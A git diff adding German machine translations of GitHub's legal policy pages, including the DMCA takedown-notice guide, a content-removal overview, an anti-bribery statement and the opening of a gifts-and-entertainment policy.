+Sie können auch eine E-Mail-Benachrichtigung an <copyright@github.com> senden. Wenn Sie möchten, können Sie einen Anhang beifügen, Ihre E-Mail sollte aber auch eine Klartextversion Ihres Schreibens im Textbereich enthalten.
+
+Sie können Ihre Counter Notice auch per Post senden, aber es dauert *sehr viel länger* bis wir sie erhalten und darauf reagieren können – und die Wartezeit von 10 bis 14 Tagen beginnt erst ab dem Zeitpunkt, an dem wir Ihre Counter Notice *erhalten*. Counter Notices, die wir als Klartext in einer E-Mail erhalten, werden wesentlich schneller bearbeitet als PDF-Anhänge oder Postzustellungen. Wenn Sie uns Ihre Counter Notice dennoch per Post zusenden möchten, lautet unsere Anschrift:
+
+```
+GitHub, Inc
+Attn: DMCA Agent
+88 Colin P Kelly Jr St
+San Francisco, CA. 94107
+```
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md b/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md
new file mode 100644
index 0000000000..d03782e45d
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md
@@ -0,0 +1,100 @@
+---
+title: Anleitung zum Einreichen einer DMCA Takedown Notice (Antrag auf Entfernung von Inhalten im Rahmen des DMCA)
+redirect_from:
+  - /dmca-notice-how-to
+  - /articles/dmca-notice-how-to
+  - /articles/guide-to-submitting-a-dmca-takedown-notice
+  - /github/site-policy/guide-to-submitting-a-dmca-takedown-notice
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: c664d164136504f695a3954b03b01e0d47191eab
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556573'
+---
+Dieser Leitfaden beschreibt die Informationen, die GitHub benötigt, um einen DMCA-Takedown-Antrag zu bearbeiten. Wenn Sie allgemeinere Fragen dazu haben, was der DMCA ist oder wie GitHub DMCA-Takedown-Anträge bearbeitet, lesen Sie bitte unsere [Richtlinie zu DMCA-Takedowns](/articles/dmca-takedown-policy).
+
+Aufgrund der Art der Inhalte, die GitHub hostet (hauptsächlich Softwarecode) und der Art und Weise, wie die Inhalte verwaltet werden (mit Git), müssen Beschwerden so spezifisch wie möglich sein. Diese Leitlinien sollen die Bearbeitung von Mitteilungen über mutmaßliche Verstöße so einfach wie möglich machen. Unser unten stehendes Meldeformular entspricht dem im DMCA-Gesetz vorgeschlagenen Formular, das auf der offiziellen Website des U.S. Copyright Office zu finden ist: <https://www.copyright.gov>.
+
+Wie bei allen rechtlichen Angelegenheiten ist es stets ratsam, sich zu Ihren spezifischen Fragen oder Ihrer Situation an einen Fachmann zu wenden. Wir empfehlen Ihnen dringend, dies zu tun, bevor Sie Maßnahmen ergreifen, die Ihre Rechte beeinträchtigen könnten. Dieser Leitfaden ist keine Rechtsberatung und sollte auch nicht als solche verstanden werden.
+
+## Bevor Sie beginnen
+
+***Sagen Sie stets die Wahrheit.** _Eine Urheberrechtsbeschwerde im Rahmen des DMCA ist wie eine eidesstattliche Erklärung, und wenn Sie die Unwahrheit sagen, können Sie_des Meineids bezichtigt werden *. Es ist eine Straftat, in einer eidesstattlichen Erklärung vorsätzlich zu lügen. (* Siehe* [U.S. Code, Titel 18, Abschnitt 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Die Angabe falscher Informationen kann auch zu einer zivilrechtlichen Haftung führen, d. h. Sie können auf Schadenersatz verklagt werden. Gemäß den Bestimmungen des DMCA ist jede Person, die vorsätzlich falsch aussagt, dass Material oder Aktivitäten eine Verletzung darstellen, [schadensersatzpflichtig](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations).
+
+***Untersuchen.*** Millionen von Nutzern und Organisationen erstellen Projekte auf GitHub. Die Einreichung einer DMCA-Beschwerde gegen ein solches Projekt ist eine ernstzunehmende juristische Anschuldigung, die reale Folgen für reale Personen hat. Daher bitten wir Sie, eine gründliche Untersuchung durchzuführen und einen Anwalt zu konsultieren, bevor Sie die Deaktivierung von Inhalten beantragen. So stellen Sie sicher, dass die Verwendung der Inhalte tatsächlich unzulässig ist.
+
+***Fragen Sie zunächst höflich nach.*** Bevor Sie uns einen Antrag zum Entfernen von Daten senden, können Sie als ersten Schritt den Nutzer direkt kontaktieren. Eventuell finden Sie die Kontaktinformationen des Nutzers auf seiner öffentlichen Profilseite oder in der README-Datei des Repositories, oder Sie können den Nutzer kontaktieren, indem Sie ein Issue oder Pull Request im Repository erstellen. Dies ist nicht unbedingt erforderlich, wird aber geschätzt.
+
+***Reichen Sie den richtigen Antrag ein.*** Wir können nur DMCA-Takedown-Anträge für Werke akzeptieren, die urheberrechtlich geschützt sind, und in dem Antrag muss ein bestimmtes urheberrechtlich geschütztes Werk benannt werden. Wenn Sie eine Beschwerde über Markenmissbrauch einreichen möchten, lesen Sie bitte unsere [Markenrichtlinie](/articles/github-trademark-policy/). Wenn Sie sensible Daten wie Kennwörter entfernen möchten, lesen Sie bitte unsere [Richtlinie zu sensiblen Daten](/articles/github-sensitive-data-removal-policy/). Wenn Sie einen Fall von Verleumdung oder anderem missbräuchlichem Verhalten melden möchten, lesen Sie bitte unsere [Community-Richtlinien](/articles/github-community-guidelines/).
+
+***Der Code unterscheidet sich von anderen kreativen Inhalten.*** GitHub wurde entwickelt, damit Nutzer gemeinsam an Softwarecode arbeiten können. Es ist wesentlich komplizierter, festzustellen, ob eine Urheberrechtsverletzung vorliegt, als beispielsweise bei Fotos, Musik oder Videos.
+
+Es gibt eine Reihe von Merkmalen, durch die sich Code von anderen kreativen Inhalten unterscheidet. Zum Beispiel:
+
+- Ein Repository kann Bits und Stücke von Code von vielen verschiedenen Personen enthalten, aber nur eine Datei oder sogar ein Unterprogramm innerhalb einer Datei verletzt Ihre Urheberrechte.
+- Code mischt Funktionalität mit kreativem Ausdruck, aber das Urheberrecht schützt nur die expressiven Elemente, nicht die funktionalen Teile.
+- Oft gibt es Lizenzen, die berücksichtigt werden müssen. Nur weil ein Codeabschnitt einen Urheberrechtsvermerk enthält, bedeutet das nicht unbedingt, dass eine Urheberrechtsverletzung vorliegt. Es ist möglich, dass der Code gemäß einer Open-Source-Lizenz verwendet wird.
+- Eine bestimmte Verwendung kann [angemessen](https://www.lumendatabase.org/topics/22) sein, wenn nur wenige urheberrechtlich geschützte Inhalte verwendet werden, diese Inhalte auf transformative Weise verwendet werden, wenn die Inhalte für Bildungszwecke verwendet werden, oder wenn eine Kombination der oben genannten Bedingungen vorliegt. Da sich Code natürlich für solche Verwendungen anbietet, ist jeder Anwendungsfall anders und muss individuell betrachtet werden.
+- Eine Urheberrechtsverletzung durch Code kann sehr unterschiedlich sein. Daher sind detaillierte Erklärungen und eine genaue Identifizierung des Werks besonders wichtig.
+
+Wenn es um den Umgang mit Code geht, sollten Sie stets mit einem Rechtsexperten über Ihre beabsichtigte Beschwerde zu sprechen.
+
+***Keine Bots.*** Sie sollten die Fakten jeder Deaktivierungsmitteilung, die Sie senden, von einem geschulten Fachmann auswerten lassen. Wenn Sie Ihre Bemühungen an Dritte auslagern, stellen Sie sicher, dass Sie wissen, wie sie arbeiten, und stellen Sie sicher, dass sie keine automatisierten Bots verwenden, um Beschwerden in großen Mengen einzureichen. Diese Beschwerden sind meist ungültig und ihre Bearbeitung führt dazu, dass Projekte unnötigerweise eingestellt werden.
+
+***Urheberrechtsfragen sind komplex.*** Ob ein bestimmtes Werk urheberrechtlich geschützt ist oder nicht, ist manchmal nicht so einfach festzustellen. Beispielsweise sind Fakten (einschließlich Daten) im Allgemeinen nicht urheberrechtlich geschützt. Auch Wörter und kurze Sätze sind im Allgemeinen nicht urheberrechtlich geschützt. URLs und Domainnamen sind im Allgemeinen nicht urheberrechtlich geschützt. Da Sie mit dem DMCA-Verfahren auf urheberrechtlich geschützte Inhalte anwendbar ist, sollten Sie bei Ihrem Anwalt zunächst erfragen, ob Ihre Inhalte geschützt sind oder nicht.
+
+***Möglicherweise erhalten Sie eine Counter Notice.*** Jeder Nutzer, der von Ihrer Takedown Notice betroffen ist, kann eine [Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice) einreichen. In diesem Fall schalten wir die Inhalte innerhalb von 10 bis 14 Tagen wieder frei, es sei denn, Sie teilen uns mit, dass Sie rechtliche Schritte eingeleitet haben, um den Nutzer daran zu hindern, im Zusammenhang mit den Inhalten auf GitHub rechtswidrige Handlungen vorzunehmen.
+
+***Ihre Beschwerde wird veröffentlicht.*** Wie in unserer [Richtlinie zu DMCA-Takedowns](/articles/dmca-takedown-policy#d-transparency) dargelegt, veröffentlichen wir alle vollständigen und durchsetzbaren Takedown Notices, nachdem wir jegliche personenbezogenen Daten unkenntlich gemacht haben, unter <https://github.com/github/dmca>.
+
+***GitHub tritt nicht als Richter auf.***
+GitHub hat in diesem Verfahren wenig Ermessensspielraum und muss lediglich bestimmen, ob die Mitteilungen die Mindestanforderungen des DMCA erfüllen. Es ist Sache der Parteien (und ihrer Anwälte), die Begründetheit ihrer Ansprüche zu beurteilen, wobei zu beachten ist, dass alle Counter Notices in Kenntnis der Strafbarkeit einer falschen eidesstattlichen Versicherung erfolgen müssen.
+
+## Ihre Beschwerde muss...
+
+1. **die folgende Erklärung beinhalten: „I have read and understand GitHub's Guide to Filing a DMCA Notice.”** („Ich habe den Leitfaden von GitHub zur Einreichung einer DMCA-Notice gelesen und verstanden.”) Wenn diese Erklärung nicht enthalten ist, werden wir die Beschwerde dennoch bearbeiten, sofern sie ansonsten vollständig ist. Wir müssen jedoch davon ausgehen, dass Sie diese Richtlinien nicht gelesen haben, und werden Sie gegebenenfalls auffordern, dies nachzuholen.
+
+2. **Benennen Sie das urheberrechtlich geschützte Werk, bei dem Sie glauben, dass eine Urheberrechtsverletzung stattgefunden hat.** Diese Information ist wichtig, da sie dem betroffenen Nutzer hilft, Ihren Anspruch zu beurteilen und ihm die Möglichkeit gibt, Ihre Arbeit mit seiner zu vergleichen. Wie genau Sie das betroffene Werk benennen können, hängt von der Natur des Werks ab. Wenn Ihr Werk veröffentlicht wurde, können Sie vielleicht einfach auf eine Webseite verweisen, auf der es sich befindet. Wenn Ihr Werk urheberrechtlich geschützt und nicht veröffentlicht ist, können Sie es beschreiben und erklären, dass es urheberrechtlich geschützt ist. Wenn Sie es beim Copyright Office registriert haben, sollten Sie die Registrierungsnummer angeben. Wenn Sie der Auffassung sind, dass der gehostete Inhalt eine direkte, wörtliche Kopie Ihrer Arbeit ist, können Sie diese Tatsache auch einfach erklären.
+
+3. **Identifizieren Sie das Material, von dem Sie meinen, dass es die Urheberrechte des in Punkt 2 genannten Werks verletzt.** Es ist wichtig, bei Ihrer Identifizierung so genau wie möglich zu sein. Diese Identifizierung muss ausreichend sein, damit GitHub das Material finden kann. Das bedeutet zumindest, dass Sie die URL zu dem Material angeben sollten, von dem Sie meinen, dass es Ihr Urheberrecht verletzt. Wenn Sie behaupten, dass weniger als ein ganzes Repository eine Verletzung darstellt, benennen Sie die spezifischen Dateien oder Zeilennummern innerhalb einer Datei, die Ihrer Meinung nach eine Verletzung darstellen. Wenn Sie meinen, dass der gesamte Inhalt einer URL eine Verletzung darstellt, teilen Sie uns dies bitte auch ausdrücklich mit. 
+   - Bitte beachten Sie, dass GitHub *keine* [Forks](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) automatisch deaktivieren wird, wenn ein Parent-Repository deaktiviert wird. Wenn Sie die Forks eines Repositories untersucht und analysiert haben und der Meinung sind, dass sie ebenfalls Urheberrechte verletzen, geben Sie bitte jeden mutmaßlich verletzenden Fork explizit an. Bitte bestätigen Sie auch, dass Sie jeden einzelnen Fall untersucht haben und dass Ihre eidesstattlichen Erklärungen für jeden identifizierten Fork gelten. In seltenen Fällen können Sie eine Urheberrechtsverletzung in einem vollständigen Repository geltend machen, das aktiv geforkt wird. Wenn Sie zu dem Zeitpunkt, an dem Sie Ihre Mitteilung eingereicht haben, alle vorhandenen Abspaltungen dieses Repositories als mutmaßlich verletzend identifiziert haben, würden wir bei Bearbeitung der Mitteilung einen gültigen Anspruch gegen alle Abspaltungen in diesem Netzwerk bearbeiten. Wir würden dies aufgrund der Wahrscheinlichkeit tun, dass alle neu erstellten Abspaltungen denselben Inhalt enthalten würden. Wenn das gemeldete Netzwerk, das die mutmaßlich verletzenden Inhalte enthält, größer als einhundert (100) Repositories ist und es daher schwierig wäre, es in seiner Gesamtheit zu überprüfen, können wir außerdem in Betracht ziehen, das gesamte Netzwerk zu deaktivieren, wenn Sie in Ihre Mitteilung folgende Aussage aufnehmen: „"Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." („Auf der Grundlage der von mir überprüften repräsentativen Anzahl von Forks bin ich der Ansicht, dass alle oder die meisten Forks im gleichen Maße wie das übergeordnete Repository rechtsverletzend sind.“) Ihre eidesstattliche Erklärung würde für diese Erklärung gelten.
+
+4. **Erklären Sie, was der betroffene Nutzer tun müsste, um den Verstoß zu beheben.** Auch hier ist Genauigkeit sehr wichtig. Wenn wir Ihre Beschwerde an den Nutzer weiterleiten, wird ihm mitgeteilt, was er tun muss, um zu vermeiden, dass der Rest seiner Inhalte deaktiviert wird. Muss der Nutzer nur eine Anerkennung des Copyrights hinzufügen? Muss er bestimmte Zeilen in seinem Code oder ganze Dateien löschen? In manchen Fällen ist der gesamte Inhalt eines Nutzers mutmaßlich rechtsverletzend, und er kann nichts anderes tun, als alles zu löschen. Wenn dem so ist, machen Sie das bitte auch deutlich.
+
+5. **Geben Sie Ihre Kontaktdaten an.** Geben Sie Ihre E-Mail-Adresse, Ihren Namen, Ihre Telefonnummer und Ihre Anschrift an.
+
+6. **Geben Sie die Kontaktinformationen der Person an, die Ihr Urheberrecht verletzt hat, falls Sie sie haben.** Normalerweise reicht es, den GitHub Nutzernamen anzugeben, der mit dem mutmaßlich rechtsverletzenden Inhalt verknüpft ist. In manchen Fällen haben Sie jedoch zusätzliche Informationen über die Person, die mutmaßlich Ihre Rechte verletzt hat. Wenn ja, geben Sie diese Informationen bitte an.
+
+7. **die folgende Erklärung beinhalten: „Ich bin nach Treu und Glauben der Ansicht, dass die Verwendung der oben beschriebenen Marke nicht vom Markeninhaber, seinem Vertreter oder dem Gesetz autorisiert wurde. Ich habe das Fair-Use-Prinzip bei meiner Bewertung berücksichtigt.”**
+
+8. **Fügen Sie außerdem bitte folgende Erklärung ein: „Ich erkläre, dass die Informationen in dieser Mitteilung richtig sind, und ich erkläre ferner an Eides statt, dass ich befugt bin, im Namen des Inhabers des exklusiven und mutmaßlich verletzten Rechts aufzutreten.”**
+
+9. **Setzen Sie Ihre physische oder elektronische Unterschrift darunter.**
+
+## Beschwerden über Anti-Umgehungstechnologie
+
+Der Copyright Act verbietet die Umgehung technischer Maßnahmen, die den Zugang zu urheberrechtlich geschützten Werken wirksam kontrollieren. Wenn Sie glauben, dass auf GitHub gehostete Inhalte gegen dieses Verbot verstoßen, senden Sie uns bitte einen Bericht über unseren {% data variables.contact.contact_dmca %}. Ein Anspruch wegen Umgehung von Maßnahmen muss die folgenden Angaben zu den eingesetzten technischen Maßnahmen sowie zur Art und Weise enthalten, wie sie durch das betreffende Projekt umgangen werden. Insbesondere muss die Mitteilung an GitHub detaillierte Erklärungen enthalten, die Folgendes beschreiben:
+1. Was die technischen Maßnahmen sind,
+2. wie sie den Zugriff auf das urheberrechtlich geschützte Material effektiv kontrollieren und 
+3. wie das betreffende Projekt darauf abzielt, die zuvor beschriebenen technischen Schutzmaßnahmen zu umgehen.
+
+## So übermitteln Sie Ihre Beschwerde
+
+Sie erhalten am schnellsten eine Antwort, wenn Sie Ihre Informationen auf unserem {% data variables.contact.contact_dmca %} eingeben und dort alle Fragen beantworten.
+
+Sie können auch eine E-Mail-Benachrichtigung an <copyright@github.com> senden. Wenn Sie möchten, können Sie einen Anhang beifügen, Ihre E-Mail sollte aber auch eine Klartextversion Ihres Schreibens im Textbereich enthalten.
+
+Sie können Ihre Notice auch per Post senden, aber es dauert *sehr viel länger*, bis wir sie erhalten und darauf reagieren können. Mitteilungen, die wir als Klartext in einer E-Mail erhalten, werden wesentlich schneller bearbeitet als PDF-Anhänge oder Postzustellungen. Wenn Sie uns Ihre Counter Notice dennoch per Post zusenden möchten, lautet unsere Anschrift:
+
+```
+GitHub, Inc
+Attn: DMCA Agent
+88 Colin P Kelly Jr St
+San Francisco, CA. 94107
+```
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/index.md b/translations/de-DE/content/site-policy/content-removal-policies/index.md
new file mode 100644
index 0000000000..13413a50fe
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/index.md
@@ -0,0 +1,22 @@
+---
+title: Richtlinien zum Entfernen von Inhalten
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /submitting-content-removal-requests
+  - /dmca-takedown-policy
+  - /github-private-information-removal-policy
+  - /github-trademark-policy
+  - /guide-to-submitting-a-dmca-counter-notice
+  - /guide-to-submitting-a-dmca-takedown-notice
+ms.openlocfilehash: 6c13ecf26cf40b0748e6709a6a0ff3222a0b5577
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556568'
+---
+
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/submitting-content-removal-requests.md b/translations/de-DE/content/site-policy/content-removal-policies/submitting-content-removal-requests.md
new file mode 100644
index 0000000000..f525c945b6
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/submitting-content-removal-requests.md
@@ -0,0 +1,34 @@
+---
+title: Einen Antrag auf Entfernung von Inhalten einreichen
+redirect_from:
+  - /articles/submitting-content-removal-requests
+  - /github/site-policy/submitting-content-removal-requests
+  - /github/site-policy/github-terms-and-other-site-policies/submitting-content-removal-requests
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 45dd8dbc7306e924a5d19d82b18082468cdff33c
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556567'
+---
+Es kann vorkommen, dass urheberrechtlich geschützte, markenrechtlich geschützte oder private Inhalte versehentlich oder absichtlich in GitHub Repositories veröffentlicht werden, die Ihnen nicht gehören. Da die Art dieser Inhalte unterschiedlich ist und es verschiedenen anwendbare Gesetze gibt, gibt es für jede Kategorie eigene, individuelle Meldepflichten, die in unseren Richtlinien beschrieben sind.
+
+Wenn Sie beantragen möchten, dass Inhalte von GitHub entfernt werden, nehmen Sie sich bitte etwas Zeit, um sich mit jeder Richtlinie und ihren jeweiligen Meldepflichten vertraut zu machen, bevor Sie eine Meldung einreichen. Wenn wir eine unvollständige Meldung erhalten, müssen wir um Erläuterungen oder um Überarbeitung bitten, und Sie müssen die Meldung gegebenenfalls erneut einreichen.
+
+Bitte beachten Sie, dass wir Ihnen nicht dabei helfen können, festzustellen, welche Richtlinie für Ihre spezifische Situation infrage kommt. Wenn Sie die folgenden Richtlinien gelesen haben und weiterhin unsicher sind, ob Inhalte als urheberrechtlich geschützte, markenrechtlich geschützte oder private Informationen gemeldet werden sollten, empfehlen wir Ihnen, sich an einen unabhängigen Rechtsberater zu wenden.
+
+## [Richtlinie zu DMCA Takedowns](/articles/dmca-takedown-policy)
+Die Richtlinie zu DMCA Takedowns kann verwendet werden, um Inhalte zu melden, von denen Sie glauben, dass sie ein Urheberrecht verletzen, das Ihnen oder Ihrer Organisation gehört. Wenn Sie die Richtlinie bereits gelesen haben, ist es empfehlenswert, auch unsere [Anleitung zum Einreichen einer DMCA Takedown Notice (Antrag auf Entfernung von Inhalten im Rahmen des DMCA)](/articles/guide-to-submitting-a-dmca-takedown-notice/) zu lesen, bevor Sie eine Meldung einreichen.
+
+## [GitHub Markenrichtlinie](/articles/github-trademark-policy)
+Die GitHub Markenrichtlinie kann verwendet werden, um Inhalte zu melden, die den Anschein erwecken, dass Ihr Firmen- oder Geschäftsname, Ihr Logo oder andere markenrechtlich geschützte Materialien auf eine Art und Weise verwendet werden, die andere Personen in Bezug auf die Marken- oder Geschäftszugehörigkeit in die Irre führen oder verwirren könnte.
+
+## [GitHub Richtlinie zum Entfernen privater Informationen](/github/site-policy/github-private-information-removal-policy)
+Die GitHub Richtlinie zum Entfernen privater Informationen kann verwendet werden, um Daten zu melden, die privat sind (d. h. die vertraulich sind und ein Sicherheitsrisiko darstellen), die jedoch nicht unbedingt urheberrechtlich oder markenrechtlich geschützt sind.
+
+Nutzer, die in Indien ansässig sind, können sich [hier](https://support.github.com/contact/india-grievance-officer) an den Grievance Officer von GitHub wenden.
diff --git a/translations/de-DE/content/site-policy/github-company-policies/github-anti-bribery-statement.md b/translations/de-DE/content/site-policy/github-company-policies/github-anti-bribery-statement.md
new file mode 100644
index 0000000000..dc29fb1485
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-company-policies/github-anti-bribery-statement.md
@@ -0,0 +1,64 @@
+---
+title: GitHub Erklärung zur Bestechungsbekämpfung
+redirect_from:
+  - /articles/github-anti-bribery-statement
+  - /github/site-policy/github-anti-bribery-statement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 52d7b272455ad0cef74ae07a7f4694afd66c055f
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556562'
+---
+GitHub hält an unserer Verpflichtung zu ethischen Geschäftspraktiken fest, unter anderem durch das Verbot von Bestechung und Korruption. Wie [Transparency International](https://www.transparency.org/what-is-corruption#costs-of-corruption) erklärt, verursacht Korruption folgende Arten von Kosten:
+- **politische**, weil sie ein großes Hindernis für Demokratie und Rechtsstaatlichkeit darstellen
+- **wirtschaftliche** durch die Erschöpfung des Volksvermögens
+- **soziale**, weil das Vertrauen der Menschen in die politische Gesellschaft, Institutionen und Anführer untergraben wird
+- **umweltbezogene**, weil die Nichtdurchsetzung von Umweltgesetzen und -vorschriften erleichtert wird.
+
+Laut Einschätzung der [Weltbank](https://www.worldbank.org/en/topic/governance/brief/anti-corruption) von 2017 zahlen Unternehmen und Privatpersonen jedes Jahr schätzungsweise 1,5 Billionen USD an Bestechungsgeldern.
+
+## GitHub Richtlinien, die Bestechung verbieten
+
+GitHub hat sein Engagement gegen Bestechung in einer Reihe von Unternehmensrichtlinien verankert. Als Teil der Microsoft-Familie bekennt sich GitHub zusätzlich zu den hier beschriebenen Richtlinien auch zur Antikorruptionsrichtlinie von Microsoft, die für alle Mitarbeiter und Auftragnehmer von GitHub gilt.
+
+Der **Ethikkodex** von GitHub verbietet es Mitarbeitern und Auftragnehmern, sich an Bestechung oder Korruption zu beteiligen oder dazu beizutragen, und legt Vorschriften für die Aufbewahrung von Aufzeichnungen fest:
+
+>Sie dürfen zu keinem Zeitpunkt Zahlungen oder andere wertvolle Leistungen an jegliche Personen – einschließlich Personen in Macht- oder Autoritätspositionen, wie z. B. Regierungsbeamte, oder bei kommerziellen Transaktionen – vornehmen, versprechen oder veranlassen, um ein Geschäft abzuschließen oder aufrechtzuerhalten oder um sich einen anderen unangemessenen Vorteil für GitHub oder Microsoft zu sichern. Sie dürfen auch keine Bestechungsgelder, Schmiergelder oder andere unzulässige Barzahlungen verlangen oder annehmen. ... [GitHub Mitarbeiter] sind verpflichtet, genaue und faire Aufzeichnungen über alle Transaktionen zu führen, die Ausgaben beinhalten, die im Namen von GitHub getätigt wurden – beispielsweise durch das Aufbewahren von Quittungen und das Bereitstellen genauer Beschreibungen Ihrer Ausgaben – sowie alle anderen Transaktionen, die die Veräußerung oder Übertragung von GitHub Vermögenswerten beinhalten. Solche Maßnahmen werden vom US Foreign Corrupt Practices Act, dem UK Bribery Act of 2010 und den Antikorruptionsgesetzen anderer Rechtsordnungen, in denen GitHub geschäftlich tätig ist, verlangt und sind moralisch verpflichtend.
+
+Der Ethikkodex von GitHub geht auf bestimmte Szenarien genauer ein, darunter Geschenke, Reisen und Bewirtung, die Abwicklung von Zahlungen, Spenden für wohltätige Zwecke, die Vergabe von Arbeitsplätzen und die Zusammenarbeit mit Vertretern sowie darüber, wer als Regierungsbeamter gilt.
+
+Die Verhaltensstandards von GitHub verbieten Folgendes:
+>Bestechung von Regierungsbeamten oder anderen Personen, um sich einen unfairen Vorteil zu verschaffen, und Annahme von Bestechungsgeldern von jeglichen Personen.
+
+In der **Richtlinie zu Geschenken und Bewirtung** von GitHub wird erläutert, dass Bestechung im Zusammenhang mit Reisen oder Bewirtungen nicht gestattet ist, und gibt Beispiele zur Veranschaulichung unangemessenen Verhaltens. Die Richtlinie beschreibt angemessene und unangemessene Geschenke, Reise- und Bewirtungskosten; Unternehmensprozesse für das Übergeben von Geschenken durch Direktoren, leitende Angestellten, Mitarbeiter und Vertreter von GitHub und Vorschriften für die Aufbewahrung von Aufzeichnungen, Strafen; und Meldung von Verstößen. Sie enthält klare maximale Geldbeträge für Geschenke sowie jährliche Beschränkungen, mit begrenzten Ausnahmen für Geschenke, die von der entsprechenden Geschäftsleitung genehmigt wurden. Die Richtlinie ist klar und für GitHub Mitarbeiter und Auftragnehmer leicht zugänglich.
+
+## Schulungen für unsere Mitarbeiter
+
+GitHub Mitarbeiter sind verpflichtet, an Schulungen zum Thema Korruption, einschließlich Bestechung, teilzunehmen. Darüber hinaus bieten wir zusätzliche Schulungen für besonders relevante Personen und Teams, wie z. B. unser Vertriebsteam, an. In der Schulung werden relevante Elemente des US Foreign Corrupt Practices Act und des U.K. Bribery Act of 2010 erläutert. Beispiel:
+- Definition und strukturelle Auswirkungen von Korruption
+- für den sie gelten, darunter
+   - Beamte oder andere in einer Machtposition
+   - Dritte
+- welche Art von Aktivität abgedeckt ist, darunter
+   - Bargeld, Geschenke, Reisen und Bewirtung
+   - Beschleunigungszahlungen
+   - Spenden für wohltätige Zwecke und Sponsoring
+- für welche Zwecke, darunter
+   - Absicht
+   - unangemessener Vorteil oder Einfluss
+- Due Diligence und Warnsignale (Red Flags)
+- Vorschriften zur Aufbewahrung von Aufzeichnungen
+
+Darüber hinaus behandelt die Schulung die internen Richtlinien von GitHub zur Bekämpfung von Korruption und Bestechung, einschließlich unserer Richtlinie zum Verzicht auf Vergeltungsmaßnahmen (Whistleblower).
+
+Während sich der US-FCPA auf Interaktionen mit Regierungsbeamten konzentriert, ist der U.K. Bribery Act umfassender und erstreckt sich auf die Bestechung von beliebigen Personen, unabhängig davon, ob es sich um Regierungsbeamte handelt. Beide Gesetze können sich auf die Handlungen von GitHub in anderen Teilen der Welt erstrecken. Die Richtlinien von GitHub verbieten die Bestechung von Personen überall auf der Welt.
+
+## Einbindung unserer Partner
+- Die standardmäßigen **Wiederverkaufsvereinbarungen mit Channel-Partnern** enthalten verbindliche Antikorruptionsklauseln. In Zukunft verlangt GitHub von unseren Channel-Partnern, sich zur Einhaltung dieser Erklärung zur Bestechungsbekämpfung zu verpflichten.
+- Künftig verlangen die **Anbieterverträge** von GitHub nun eine Verpflichtung zur Einhaltung des Verhaltenskodex für Lieferanten von Microsoft oder dieser Erklärung zur Bestechungsbekämpfung.
diff --git a/translations/de-DE/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md b/translations/de-DE/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md
new file mode 100644
index 0000000000..b6a42162d8
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md
@@ -0,0 +1,73 @@
+---
+title: GitHub Richtlinie zu Geschenken und Unterhaltung
+redirect_from:
+  - /articles/github-gifts-and-entertainment-policy
+  - /github/site-policy/github-gifts-and-entertainment-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 7bdf0b97071eb1a71dc40cc57b12208080382481
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556561'
+---
+Bei GitHub sind wir uns bewusst, dass unser Geschäft auf positiven und transparenten Beziehungen aufbaut. Auch wenn informelle Interaktionen und der Austausch von Geschenken Teil des Aufbaus dieser Beziehungen sein können und in manchen Ländern sogar als üblich gelten, müssen wir sicherstellen, dass wir die Antikorruptionsgesetze einhalten. Wir sind gesetzlich verpflichtet, uns ethisch korrekt zu verhalten, und solche Interaktionen nicht zu nutzen, um uns einen besonderen Vorteil zu schaffen oder einen Geschäftsabschluss zu beeinflussen.
+
+## Unternehmensrichtlinien
+Zur Erinnerung: In unserem Ethikkodex heißt es:
+
